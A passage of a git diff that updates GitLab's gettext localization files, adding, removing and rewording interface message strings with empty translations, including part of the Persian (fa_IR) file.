msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index be7b291cea4..13b6cb0b7a6 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:21\n"
+"PO-Revision-Date: 2021-07-01 21:03\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
